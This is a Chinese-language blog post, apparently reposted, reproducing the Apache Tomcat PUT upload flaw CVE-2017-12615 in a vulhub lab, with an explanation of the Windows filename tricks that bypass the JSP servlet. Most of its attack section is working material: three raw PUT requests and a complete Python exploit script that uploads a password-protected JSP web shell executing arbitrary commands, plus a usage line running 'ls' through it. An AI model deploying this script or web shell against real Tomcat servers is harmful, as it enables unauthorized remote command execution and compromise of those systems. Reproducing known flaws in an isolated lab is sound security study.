CVE-2017-12615漏洞復現


0x01 漏洞簡介

首先聲明的是CVE-2017-12615漏洞的利用條件是Windows+Tomcat 7.0.x+配置文件readonly=false,配置文件內容如:

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

Tomcat將readonly設置為false的同時也開啟了對PUT請求方式的支持。這時候意味着我們可以上傳文件,那么是可以上傳任意文件嗎?並不是,我們首先要了解下Tomcat的下面兩員大將:

org.apache.jasper.servlet.JspServlet:默認處理jsp,jspx文件請求,不存在PUT上傳邏輯,無法處理PUT請求
org.apache.catalina.servlets.DefaultServlet:默認處理靜態文件(除jsp,jspx之外的文件),存在PUT上傳處理邏輯,可以處理PUT請求。
所以我們即使可以PUT一個文件到服務器但也無法直接PUT以jsp,jspx結尾文件,因為這些這些后綴的文件都是交由JspServlet處理的,它沒法處理PUT請求。
但是當我們利用Windows特性以下面兩種方式上傳文件時,tomcat並不認為其是jsp文件從而交由DefaultServlet處理,從而成功創建jsp文件,這也就是所謂的CVE-2017-12615漏洞。

evil.jsp%20
evil.jsp::$DATA
上面這些屬於CVE-2017-12615漏洞的內容,初次之外當我們上傳evil.jsp/ 類型的文件時(即以反斜杠結尾)時同樣會成功創建jsp文件,並且這種方式把PUT漏洞的利用擴展到了Linux平台及Tomcat的5.x-9.x的所有版本,不過這不屬於CVE-2017-12615的內容。

0x02 環境搭建

使用vulhub搭建漏洞環境

/vulhub-master/tomcat/CVE-2017-12615

http://192.168.255.130:8080/

 

 

 0x03 漏洞復現

1. 請求包:

PUT /1.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

這種方式適合之所以可以成功創建jsp文件是因為Windows下不允許文件名以空格結尾,但是尾部添加空格可以使tomcat認為其不是jsp文件從而交由DefaultServlet處理。這種利用方式適用與Windows系統+Tomcat 7.x。

 

 

 

 

 

 2. 請求包:

PUT /1.jsp::$DATA HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

這種方式之所以可行是因為利用了Windows環境下NTFS文件格式的特性,NTFS文件格式存在如下的性質,為此同樣可以使tomcat認為其不是jsp文件從而交由DefaultServlet處理。這種利用方式適用與Windows系統+Tomcat 7.x。

 

 

 

3. 請求包:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

注意這種利用方式已經不屬於CVE-2017-12615的范疇,這種利用方式適合與Windows系統及Linux系統,覆蓋了Tomcat 5.x-9.x。

 

 

 

 

 

 0x04 利用腳本

#! -*- coding:utf-8 -*- 
import requests
import sys
body = '''
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
    StringBuilder line = new StringBuilder();
    try {
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) {
    line.append(temp+"\\n");}
    buf.close();
    } 
    catch (Exception e) {
    line.append(e.getMessage());}
    return line.toString();}
    %>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}
    else{out.println(":-)");}
    %>'''
requests.put(sys.argv[1]+'evil.jsp/',data=body)
rq = requests.get(sys.argv[1]+'evil.jsp')
if rq.status_code == 200:
    print "[+] You GOt it!"
else:
    print "[-] It seems no vuln!"

使用: python2 poc.py http://192.168.255.130:8080/ 

http://192.168.255.130:8080/evil.jsp?pwd=023&cmd=ls

 

 

 參考文章:https://blog.csdn.net/blood_pupil/article/details/88602720


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM